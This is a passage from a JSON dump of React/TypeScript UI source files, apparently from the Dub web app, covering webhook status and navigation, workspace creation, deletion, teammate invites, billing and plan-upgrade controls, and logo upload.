px-2\"\n                    onClick={() => {\n                      setDeleteWebhookModal(true);\n                    }}\n                    disabled={disabled}\n                    disabledTooltip={disabledTooltip}\n                  />\n                </div>\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"outline\"\n              className=\"flex w-8 rounded-md border border-neutral-200 px-2 transition-[border-color] duration-200\"\n              icon={<ThreeDots className=\"h-5 w-5 shrink-0 text-neutral-500\" />}\n              onClick={() => setOpenPopover(!openPopover)}\n            />\n          </Popover>\n        </div>\n        <div className=\"-ml-1.5 border-b border-neutral-200\">\n          <TabSelect\n            options={[\n              {\n                id: \"\",\n                label: \"Event Logs\",\n                href: `/${slug}/settings/webhooks/${webhookId}`,\n              },\n              {\n                id: \"edit\",\n                label: \"Configuration\",\n                href: `/${slug}/settings/webhooks/${webhookId}/edit`,\n              },\n            ]}\n            selected={page}\n            className=\"gap-2\"\n          />\n        </div>\n      </MaxWidthWrapper>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-placeholder.tsx",
    "content": "export default function WebhookPlaceholder() {\n  return (\n    <div className=\"relative grid gap-4 rounded-xl border border-neutral-200 bg-white px-5 py-4\">\n      <div className=\"flex items-center gap-2\">\n        <div className=\"flex size-12 items-center justify-center rounded-lg bg-neutral-100\" />\n        <div className=\"flex flex-col gap-2\">\n          <div className=\"h-4 w-20 rounded-full bg-neutral-100\"></div>\n          <div className=\"h-3 w-28 rounded-full bg-neutral-100\"></div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-status.tsx",
    "content": "import { WebhookProps } from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\n\nexport const WebhookStatus = ({\n  webhook,\n}: {\n  webhook: Pick<WebhookProps, \"disabledAt\">;\n}) => {\n  const { disabledAt } = webhook;\n\n  return (\n    <span\n      className={cn(\n        \"inline-flex rounded-full px-2 py-0.5 text-xs font-medium\",\n        {\n          \"bg-red-100 text-red-500\": disabledAt,\n          \"bg-green-100 text-green-500\": !disabledAt,\n        },\n      )}\n    >\n      {disabledAt ? \"Disabled\" : \"Enabled\"}\n    </span>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/workspaces/create-workspace-button.tsx",
    "content": "\"use client\";\n\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { ModalContext } from \"@/ui/modals/modal-provider\";\nimport { Button, TooltipContent } from \"@dub/ui\";\nimport { FREE_WORKSPACES_LIMIT } from \"@dub/utils\";\nimport { useContext } from \"react\";\n\nexport default function CreateWorkspaceButton() {\n  const { setShowAddWorkspaceModal } = useContext(ModalContext);\n  const { freeWorkspaces, exceedingFreeWorkspaces } = useWorkspaces();\n\n  return (\n    <div>\n      <Button\n        text=\"Create workspace\"\n        disabledTooltip={\n          exceedingFreeWorkspaces ? (\n            <TooltipContent\n              title={`You can only create up to ${FREE_WORKSPACES_LIMIT} free workspaces. Additional workspaces require a paid plan.`}\n              cta=\"Upgrade to Pro\"\n              href={\n                freeWorkspaces\n                  ? `/${freeWorkspaces[0].slug}/upgrade`\n                  : \"https://dub.co/pricing\"\n              }\n            />\n          ) : undefined\n        }\n        className=\"flex-shrink-0 truncate\"\n        onClick={() => setShowAddWorkspaceModal(true)}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/create-workspace-form.tsx",
    "content": "\"use client\";\n\nimport { isGenericEmail } from \"@/lib/is-generic-email\";\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { Button, buttonVariants, FileUpload, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { useSession } from \"next-auth/react\";\nimport { usePlausible } from \"next-plausible\";\nimport { useEffect } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ntype FormData = {\n  name: string;\n  slug: string;\n  logo?: string;\n};\n\nexport function CreateWorkspaceForm({\n  onSuccess,\n  className,\n}: {\n  onSuccess?: (data: FormData) => void;\n  className?: string;\n}) {\n  const { data: session, update } = useSession();\n  const plausible = usePlausible();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    setError,\n    clearErrors,\n    control,\n    formState: { isSubmitting, isSubmitSuccessful, errors },\n  } = useForm<FormData>();\n\n  const slug = watch(\"slug\");\n\n  useEffect(() => {\n    if (session?.user?.email && !isGenericEmail(session.user.email)) {\n      const emailDomain = session.user.email.split(\"@\")[1];\n\n      // Check if favicon exists using our API endpoint\n      fetch(`/api/misc/check-favicon?domain=${emailDomain}`)\n        .then((response) => response.json())\n        .then((data) => {\n          if (data.exists) {\n            console.log(\"Logo URL is valid:\", data.url);\n            setValue(\"logo\", data.url);\n          } else {\n            // Don't set the logo if it returns an error\n            console.log(\"Logo URL returned error:\", data.status, data.url);\n          }\n        })\n        .catch((error) => {\n          // Don't set the logo if fetch fails\n          console.log(\"Failed to check favicon:\", error);\n        });\n    } else if (session?.user?.image) {\n      setValue(\"logo\", session.user.image);\n    }\n  }, [session?.user]);\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <form\n      onSubmit={handleSubmit(async (data) => {\n        try {\n          const res = await fetch(\"/api/workspaces\", {\n            method: \"POST\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify(data),\n          });\n\n          if (res.ok) {\n            const { id: workspaceId } = await res.json();\n            plausible(\"Created Workspace\");\n            // track workspace creation event\n            await Promise.all([mutate(\"/api/workspaces\"), update()]);\n            onSuccess?.(data);\n          } else {\n            const { error } = await res.json();\n            const message = error.message;\n\n            if (message.toLowerCase().includes(\"slug\")) {\n              return setError(\"slug\", { message });\n            }\n\n            toast.error(error.message);\n            setError(\"root.serverError\", { message: error.message });\n          }\n        } catch (e) {\n          toast.error(\"Failed to create workspace.\");\n          console.error(\"Failed to create workspace\", e);\n          setError(\"root.serverError\", {\n            message: \"Failed to create workspace\",\n          });\n        }\n      })}\n      className={cn(\"flex flex-col space-y-6 text-left\", className)}\n    >\n      <div>\n        <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n          <p className=\"block text-sm font-medium text-neutral-700\">\n            Workspace name\n          </p>\n        </label>\n        <div className=\"mt-2 flex rounded-md shadow-sm\">\n          <input\n            id=\"name\"\n            type=\"text\"\n            autoFocus={!isMobile}\n            autoComplete=\"off\"\n            className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            placeholder=\"Acme, Inc.\"\n            {...register(\"name\", {\n              required: true,\n              onChange: (e) => setValue(\"slug\", slugify(e.target.value)),\n            })}\n          />\n        </div>\n        <p className=\"text-content-subtle mt-1.5 text-xs\">\n          This is the name of your company or product.\n        </p>\n      </div>\n\n      <div>\n        <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n          <p className=\"block text-sm font-medium text-neutral-700\">\n            Workspace slug\n          </p>\n        </label>\n        <div className=\"relative mt-2 flex rounded-md shadow-sm\">\n          <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-5 text-neutral-500 sm:text-sm\">\n            app.{process.env.NEXT_PUBLIC_APP_DOMAIN}\n          </span>\n          <input\n            id=\"slug\"\n            type=\"text\"\n            required\n            autoComplete=\"off\"\n            className={`${\n              errors.slug\n                ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n            } block w-full rounded-r-md focus:outline-none sm:text-sm`}\n            placeholder=\"acme\"\n            {...register(\"slug\", {\n              required: true,\n              minLength: 3,\n              maxLength: 48,\n              pattern: /^[a-zA-Z0-9\\-]+$/,\n            })}\n            onBlur={() => {\n              fetch(`/api/misc/check-workspace-slug?slug=${slug}`).then(\n                async (res) => {\n                  if (res.status === 200) {\n                    const exists = await res.json();\n                    if (exists === 1)\n                      setError(\"slug\", {\n                        message: `The slug \"${slug}\" is already in use.`,\n                      });\n                    else clearErrors(\"slug\");\n                  }\n                },\n              );\n            }}\n            aria-invalid=\"true\"\n          />\n          {errors.slug && (\n            <div className=\"pointer-events-none absolute inset-y-0 right-0 flex items-center pr-3\">\n              <AlertCircleFill\n                className=\"h-5 w-5 text-red-500\"\n                aria-hidden=\"true\"\n              />\n            </div>\n          )}\n        </div>\n        {errors.slug ? (\n          <p\n            className=\"mt-1.5 text-xs font-medium text-red-600\"\n            id=\"slug-error\"\n          >\n            {errors.slug.message}\n          </p>\n        ) : (\n          <p className=\"text-content-subtle mt-1.5 text-xs\">\n            This is used for your workspace and partner program.\n          </p>\n        )}\n      </div>\n\n      <div>\n        <label>\n          <p className=\"block text-sm font-medium text-neutral-700\">\n            Workspace logo\n          </p>\n          <div className=\"mt-1.5 flex items-center gap-5\">\n            <Controller\n              control={control}\n              name=\"logo\"\n              render={({ field }) => (\n                <FileUpload\n                  accept=\"images\"\n                  className={cn(\n                    \"size-20 rounded-full border border-neutral-300\",\n                    errors.logo && \"border-0 ring-2 ring-red-500\",\n                  )}\n                  iconClassName=\"size-5\"\n                  previewClassName=\"size-10 rounded-full\"\n                  variant=\"plain\"\n                  imageSrc={field.value}\n                  readFile\n                  onChange={({ src }) => field.onChange(src)}\n                  content={null}\n                  maxFileSizeMB={2}\n                  targetResolution={{ width: 160, height: 160 }}\n                />\n              )}\n            />\n            <div>\n              <div\n                className={cn(\n                  buttonVariants({ variant: \"secondary\" }),\n                  \"flex h-7 w-fit cursor-pointer items-center rounded-md border px-2 text-xs\",\n                )}\n              >\n                Upload image\n              </div>\n              <p className=\"mt-1.5 text-xs text-neutral-500\">\n                Recommended size: 160x160px\n              </p>\n            </div>\n          </div>\n        </label>\n      </div>\n\n      <Button\n        loading={isSubmitting || isSubmitSuccessful}\n        text=\"Create workspace\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/delete-workspace.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useDeleteWorkspaceModal } from \"@/ui/modals/delete-workspace-modal\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport default function DeleteWorkspace() {\n  const { setShowDeleteWorkspaceModal, DeleteWorkspaceModal } =\n    useDeleteWorkspaceModal();\n\n  const { role } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n  }).error;\n\n  return (\n    <div\n      className={cn(\n        \"overflow-hidden rounded-xl border border-red-200 bg-white\",\n        {\n          \"border-neutral-200\": permissionsError,\n        },\n      )}\n    >\n      <DeleteWorkspaceModal />\n      <div className=\"flex flex-col space-y-1 p-6\">\n        <h2 className=\"text-base font-semibold\">Delete Workspace</h2>\n        <p className=\"text-sm text-neutral-500\">\n          Permanently delete your workspace, custom domain, and all associated\n          links + their stats. This action cannot be undone - please proceed\n          with caution.\n        </p>\n      </div>\n      <div\n        className={cn(\"border-b border-red-200\", {\n          \"border-neutral-200\": permissionsError,\n        })}\n      />\n\n      <div className=\"flex items-center justify-start bg-red-50 p-3 sm:justify-end\">\n        <div>\n          <Button\n            text=\"Delete Workspace\"\n            variant=\"danger\"\n            onClick={() => setShowDeleteWorkspaceModal(true)}\n            disabledTooltip={permissionsError || undefined}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/invite-teammates-form.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  getAvailableRolesForPlan,\n  WORKSPACE_ROLES,\n} from \"@/lib/workspace-roles\";\nimport { Invite } from \"@/lib/zod/schemas/invites\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { Button, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { Trash } from \"@dub/ui/icons\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { Plus } from \"lucide-react\";\nimport { useMemo } from \"react\";\nimport { useFieldArray, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { UpgradeRequiredToast } from \"../shared/upgrade-required-toast\";\n\ntype FormData = {\n  teammates: {\n    email: string;\n    role: WorkspaceRole;\n  }[];\n};\n\nexport function InviteTeammatesForm({\n  onSuccess,\n  invites = [],\n  className,\n}: {\n  onSuccess?: () => void;\n  invites?: Invite[];\n  className?: string;\n}) {\n  const { id, slug, plan, usersLimit } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const { queryParams } = useRouterStuff();\n\n  const availableRolesForPlan = useMemo(() => {\n    return getAvailableRolesForPlan(plan);\n  }, [plan]);\n\n  const {\n    control,\n    register,\n    handleSubmit,\n    formState: { isSubmitting, isSubmitSuccessful },\n  } = useForm<FormData>({\n    defaultValues: {\n      teammates: invites.length ? invites : [{ email: \"\", role: \"member\" }],\n    },\n  });\n  const { fields, append, remove } = useFieldArray({\n    name: \"teammates\",\n    control: control,\n  });\n\n  return (\n    <form\n      onSubmit={handleSubmit(async (data) => {\n        const teammates = data.teammates.filter(({ email }) => email);\n        const res = await fetch(`/api/workspaces/${id}/invites`, {\n          method: \"POST\",\n          headers: { \"Content-Type\": \"application/json\" },\n          body: JSON.stringify({ teammates }),\n        });\n\n        if (res.ok) {\n          await mutatePrefix(`/api/workspaces/${id}/invites`);\n\n          toast.success(`${pluralize(\"Invitation\", teammates.length)} sent!`);\n          queryParams({\n            set: {\n              status: \"invited\",\n            },\n          });\n\n          onSuccess?.();\n        } else {\n          const { error } = await res.json();\n          if (error.message.includes(\"upgrade\")) {\n            toast.custom(\n              () => (\n                <UpgradeRequiredToast\n                  title=\"Upgrade required\"\n                  message=\"You've reached the invite limit for your plan. Please upgrade to invite more teammates.\"\n                />\n              ),\n              { duration: 4000 },\n            );\n          } else {\n            toast.error(error.message);\n          }\n          throw error;\n        }\n      })}\n      className={cn(\"flex flex-col gap-8 text-left\", className)}\n    >\n      <div className=\"flex flex-col gap-2\">\n        {fields.map((field, index) => (\n          <div key={field.id} className=\"flex items-end gap-2\">\n            <label className=\"flex-1\">\n              {index === 0 && (\n                <span className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                  {pluralize(\"Email\", fields.length)}\n                </span>\n              )}\n              <div className=\"relative flex rounded-md shadow-sm\">\n                <input\n                  type=\"email\"\n                  placeholder=\"panic@thedis.co\"\n                  autoFocus={index === 0 && !isMobile}\n                  autoComplete=\"off\"\n                  className=\"z-10 block w-full rounded-l-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  {...register(`teammates.${index}.email`, {\n                    required: index === 0,\n                  })}\n                />\n                <select\n                  {...register(`teammates.${index}.role`, {\n                    required: index === 0,\n                  })}\n                  defaultValue=\"member\"\n                  className=\"rounded-r-md border border-l-0 border-neutral-300 bg-white pl-4 pr-8 text-neutral-600 focus:border-neutral-300 focus:outline-none focus:ring-0 sm:text-sm\"\n                >\n                  {WORKSPACE_ROLES.map(({ value, label }) => {\n                    return (\n                      <option\n                        key={value}\n                        value={value}\n                        disabled={!availableRolesForPlan.includes(value)}\n                      >\n                        {label}\n                      </option>\n                    );\n                  })}\n                </select>\n              </div>\n            </label>\n            {index > 0 && (\n              <Button\n                variant=\"outline\"\n                icon={<Trash className=\"size-4\" />}\n                className=\"h-9 w-9 shrink-0 px-0\"\n                onClick={() => remove(index)}\n              />\n            )}\n          </div>\n        ))}\n        <Button\n          className=\"h-9 w-fit\"\n          variant=\"secondary\"\n          icon={<Plus className=\"size-4\" />}\n          text=\"Add email\"\n          onClick={() => append({ email: \"\", role: \"member\" })}\n          disabled={fields.length >= (usersLimit || Infinity)}\n        />\n      </div>\n      <Button\n        loading={isSubmitting || isSubmitSuccessful}\n        text={`Send ${pluralize(\"invite\", fields.length)}`}\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/manage-subscription-button.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, ButtonProps } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport default function ManageSubscriptionButton(props: ButtonProps) {\n  const { id: workspaceId } = useWorkspace();\n  const [clicked, setClicked] = useState(false);\n  const router = useRouter();\n\n  return (\n    <Button\n      {...props}\n      text={props.text || \"Manage Subscription\"}\n      variant={props.variant || \"secondary\"}\n      className={cn(\"h-9\", props.className)}\n      onClick={() => {\n        setClicked(true);\n        fetch(`/api/workspaces/${workspaceId}/billing/manage`, {\n          method: \"POST\",\n        }).then(async (res) => {\n          if (res.ok) {\n            const url = await res.json();\n            router.push(url);\n          } else {\n            const { error } = await res.json();\n            toast.error(error.message);\n            setClicked(false);\n          }\n        });\n      }}\n      loading={clicked}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/plan-badge.tsx",
    "content": "import { PlanProps } from \"@/lib/types\";\nimport { Badge } from \"@dub/ui\";\nimport { capitalize } from \"@dub/utils\";\n\nexport default function PlanBadge({ plan }: { plan: PlanProps }) {\n  return (\n    <Badge\n      variant={\n        plan === \"enterprise\"\n          ? \"violet\"\n          : plan === \"advanced\"\n            ? \"amber\"\n            : plan.startsWith(\"business\")\n              ? \"sky\"\n              : plan === \"pro\"\n                ? \"blue\"\n                : \"black\"\n      }\n    >\n      {capitalize(plan)}\n    </Badge>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/plan-features.tsx",
    "content": "import {\n  AdvancedLinkFeaturesTooltip,\n  Check,\n  PLAN_FEATURE_ICONS,\n  STAGGER_CHILD_VARIANTS,\n  Tooltip,\n} from \"@dub/ui\";\nimport { cn, SELF_SERVE_PAID_PLANS } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\n\nexport function PlanFeatures({\n  plan,\n  className,\n}: {\n  plan: string;\n  className?: string;\n}) {\n  const selectedPlan =\n    SELF_SERVE_PAID_PLANS.find(\n      (p) => p.name.toLowerCase() === plan.toLowerCase(),\n    ) ?? SELF_SERVE_PAID_PLANS[0];\n\n  return (\n    <motion.div\n      variants={{\n        show: {\n          transition: {\n            staggerChildren: 0.08,\n          },\n        },\n      }}\n      initial=\"hidden\"\n      animate=\"show\"\n      className={cn(\"flex flex-col gap-2\", className)}\n    >\n      {selectedPlan.featureTitle && (\n        <motion.div\n          key=\"business-plan-feature\"\n          variants={STAGGER_CHILD_VARIANTS}\n          className=\"text-sm text-neutral-500\"\n        >\n          {selectedPlan.featureTitle}\n        </motion.div>\n      )}\n      {selectedPlan.features?.map(({ id, text, tooltip }, i) => {\n        const Icon =\n          id && PLAN_FEATURE_ICONS[id] ? PLAN_FEATURE_ICONS[id] : Check;\n\n        return (\n          <motion.div\n            key={i}\n            variants={STAGGER_CHILD_VARIANTS}\n            className=\"flex items-center space-x-2 text-sm text-neutral-500\"\n          >\n            <Icon className=\"size-4\" />\n\n            {tooltip ? (\n              <Tooltip\n                content={\n                  typeof tooltip === \"string\" ? (\n                    tooltip === \"ADVANCED_LINK_FEATURES\" ? (\n                      <AdvancedLinkFeaturesTooltip />\n                    ) : (\n                      tooltip\n                    )\n                  ) : tooltip.href && tooltip.cta ? (\n                    `${tooltip.title} [${tooltip.cta}](${tooltip.href})`\n                  ) : (\n                    tooltip.title\n                  )\n                }\n              >\n                <p className=\"cursor-help text-neutral-600 underline decoration-dotted underline-offset-2\">\n                  {text}\n                </p>\n              </Tooltip>\n            ) : (\n              <p className=\"text-neutral-600\">{text}</p>\n            )}\n          </motion.div>\n        );\n      })}\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/subscription-menu.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { wouldLosePartnerAccess } from \"@/lib/plans/has-partner-access\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  Button,\n  DynamicTooltipWrapper,\n  Icon,\n  LoadingSpinner,\n  Popover,\n  SquareXmark,\n  StripeIcon,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { usePlanChangeConfirmationModal } from \"../modals/plan-change-confirmation-modal\";\nimport { ThreeDots } from \"../shared/icons\";\n\nexport default function SubscriptionMenu() {\n  const { id: workspaceId, role, plan, defaultProgramId } = useWorkspace();\n  const router = useRouter();\n\n  const permissionsError = clientAccessCheck({\n    action: \"billing.write\",\n    role,\n  }).error;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [clicked, setClicked] = useState(false);\n\n  const openBillingPortal = (cancel: boolean) => {\n    setIsOpen(false);\n    setClicked(true);\n    return fetch(\n      `/api/workspaces/${workspaceId}/billing/${cancel ? \"cancel\" : \"manage\"}`,\n      {\n        method: \"POST\",\n      },\n    ).then(async (res) => {\n      if (res.ok) {\n        const url = await res.json();\n        router.push(url);\n      } else {\n        const { error } = await res.json();\n        toast.error(error.message);\n        setClicked(false);\n      }\n    });\n  };\n\n  // Check if canceling would lose partner access\n  const losesPartnerAccess =\n    plan &&\n    defaultProgramId &&\n    wouldLosePartnerAccess({ currentPlan: plan, newPlan: null });\n\n  const { setShowPlanChangeConfirmationModal, PlanChangeConfirmationModal } =\n    usePlanChangeConfirmationModal({\n      onConfirm: () => openBillingPortal(true),\n    });\n\n  const handleCancelSubscription = () => {\n    setIsOpen(false);\n    if (losesPartnerAccess) {\n      setShowPlanChangeConfirmationModal(true);\n    } else {\n      openBillingPortal(true);\n    }\n  };\n\n  if (plan === \"enterprise\") {\n    return null;\n  }\n\n  return (\n    <>\n      <PlanChangeConfirmationModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"pointer-events-auto\">\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[180px]\">\n              <MenuItem\n                icon={StripeIcon}\n                label=\"Open billing portal\"\n                onSelect={() => openBillingPortal(false)}\n                disabledTooltip={permissionsError}\n              />\n              <MenuItem\n                icon={SquareXmark}\n                label=\"Cancel subscription\"\n                onSelect={handleCancelSubscription}\n                disabledTooltip={permissionsError}\n              />\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"h-9 px-2\"\n          variant=\"secondary\"\n          icon={\n            clicked ? (\n              <LoadingSpinner className=\"size-4 shrink-0\" />\n            ) : (\n              <ThreeDots className=\"size-4 shrink-0\" />\n            )\n          }\n          disabled={clicked}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  disabledTooltip,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  disabledTooltip?: string | boolean;\n}) {\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={disabledTooltip ? { content: disabledTooltip } : undefined}\n    >\n      <Command.Item\n        className={cn(\n          \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm text-neutral-600\",\n          \"data-[selected=true]:bg-neutral-100\",\n          disabledTooltip && \"cursor-not-allowed opacity-50\",\n        )}\n        onSelect={disabledTooltip ? undefined : onSelect}\n      >\n        <IconComp className=\"size-4 shrink-0 text-neutral-700\" />\n        {label}\n      </Command.Item>\n    </DynamicTooltipWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/upgrade-plan-button.tsx",
    "content": "\"use client\";\n\nimport { wouldLosePartnerAccess } from \"@/lib/plans/has-partner-access\";\nimport { getStripe } from \"@/lib/stripe/client\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, ButtonProps } from \"@dub/ui\";\nimport { APP_DOMAIN, capitalize, SELF_SERVE_PAID_PLANS } from \"@dub/utils\";\nimport { usePlausible } from \"next-plausible\";\nimport { usePathname, useRouter, useSearchParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { usePlanChangeConfirmationModal } from \"../modals/plan-change-confirmation-modal\";\n\nexport function UpgradePlanButton({\n  plan,\n  tier,\n  period,\n  ...rest\n}: {\n  plan: string;\n  tier?: number;\n  period: \"monthly\" | \"yearly\";\n} & Partial<ButtonProps>) {\n  const router = useRouter();\n  const pathname = usePathname();\n  const searchParams = useSearchParams();\n  const {\n    slug: workspaceSlug,\n    plan: currentPlan,\n    stripeId,\n    defaultProgramId,\n  } = useWorkspace();\n\n  const plausible = usePlausible();\n\n  const selectedPlan =\n    SELF_SERVE_PAID_PLANS.find(\n      (p) => p.name.toLowerCase() === plan.toLowerCase(),\n    ) ?? SELF_SERVE_PAID_PLANS[0];\n\n  const [clicked, setClicked] = useState(false);\n\n  const queryString = searchParams.toString();\n\n  const isCurrentPlan = currentPlan === selectedPlan.name.toLowerCase();\n\n  // Check if this plan change would lose partner access\n  const losesPartnerAccess =\n    currentPlan &&\n    defaultProgramId &&\n    wouldLosePartnerAccess({\n      currentPlan,\n      newPlan: selectedPlan.name.toLowerCase(),\n    });\n\n  const performUpgrade = () => {\n    setClicked(true);\n    fetch(`/api/workspaces/${workspaceSlug}/billing/upgrade`, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        plan,\n        tier,\n        period,\n        baseUrl: `${APP_DOMAIN}${pathname}${queryString.length > 0 ? `?${queryString}` : \"\"}`,\n        onboarding: searchParams.get(\"workspace\") ? \"true\" : \"false\",\n      }),\n    })\n      .then(async (res) => {\n        plausible(\"Opened Checkout\");\n        if (!stripeId || currentPlan === \"free\") {\n          const data = await res.json();\n          const { id: sessionId } = data;\n          const stripe = await getStripe();\n          stripe?.redirectToCheckout({ sessionId });\n        } else {\n          const { url } = await res.json();\n          router.push(url);\n        }\n      })\n      .catch((err) => {\n        alert(err);\n      })\n      .finally(() => {\n        setClicked(false);\n      });\n  };\n\n  const { setShowPlanChangeConfirmationModal, PlanChangeConfirmationModal } =\n    usePlanChangeConfirmationModal({\n      onConfirm: performUpgrade,\n    });\n\n  const handleClick = () => {\n    if (losesPartnerAccess) {\n      setShowPlanChangeConfirmationModal(true);\n    } else {\n      performUpgrade();\n    }\n  };\n\n  return (\n    <>\n      <PlanChangeConfirmationModal />\n      <Button\n        text={\n          isCurrentPlan\n            ? \"Your current plan\"\n            : currentPlan === \"free\"\n              ? `Get started with ${selectedPlan.name} ${capitalize(period)}`\n              : `Switch to ${selectedPlan.name} ${capitalize(period)}`\n        }\n        loading={clicked}\n        disabled={!workspaceSlug || isCurrentPlan}\n        onClick={handleClick}\n        {...rest}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/upload-logo.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, FileUpload } from \"@dub/ui\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nexport default function UploadLogo() {\n  const { id, logo, isOwner } = useWorkspace();\n\n  const [image, setImage] = useState<string | null>();\n\n  useEffect(() => {\n    setImage(logo || null);\n  }, [logo]);\n\n  const [uploading, setUploading] = useState(false);\n\n  return (\n    <form\n      onSubmit={async (e) => {\n        setUploading(true);\n        e.preventDefault();\n        fetch(`/api/workspaces/${id}`, {\n          method: \"PATCH\",\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n          body: JSON.stringify({ logo: image }),\n        }).then(async (res) => {\n          if (res.status === 200) {\n            await Promise.all([\n              mutate(\"/api/workspaces\"),\n              mutate(`/api/workspaces/${id}`),\n            ]);\n            toast.success(\"Successfully uploaded workspace logo!\");\n          } else {\n            const { error } = await res.json();\n            toast.error(error.message);\n          }\n          setUploading(false);\n        });\n      }}\n      className=\"rounded-xl border border-neutral-200 bg-white\"\n    >\n      <div className=\"flex flex-col items-start justify-between gap-4 p-6 sm:flex-row sm:justify-between\">\n        <div className=\"flex flex-col space-y-1\">\n          <h2 className=\"text-base font-semibold\">Workspace Logo</h2>\n          <p className=\"text-sm text-neutral-500\">\n            This is your workspace's logo on {process.env.NEXT_PUBLIC_APP_NAME}.\n          </p>\n          <p className=\"text-sm text-neutral-500\">\n            Click the logo to upload a new image.\n          </p>\n        </div>\n        <div className=\"mt-1\">\n          <FileUpload\n            accept=\"images\"\n            className=\"h-24 w-24 rounded-full border border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            imageSrc={image}\n            readFile\n            onChange={({ src }) => setImage(src)}\n            content={null}\n            maxFileSizeMB={2}\n            targetResolution={{ width: 240, height: 240 }}\n          />\n        </div>\n      </div>\n\n      <div className=\"flex flex-col items-start justify-between gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0 sm:py-3\">\n        <p className=\"text-sm text-neutral-500\">\n          Square image recommended. Accepted file types: .png, .jpg. Max file\n          size: 2MB.\n        </p>\n        <div className=\"shrink-0\">\n          <Button\n            text=\"Save changes\"\n            loading={uploading}\n            disabled={!isOwner || !image || logo === image}\n            {...(!isOwner && {\n              disabledTooltip:\n                \"Only workspace owners can change the workspace 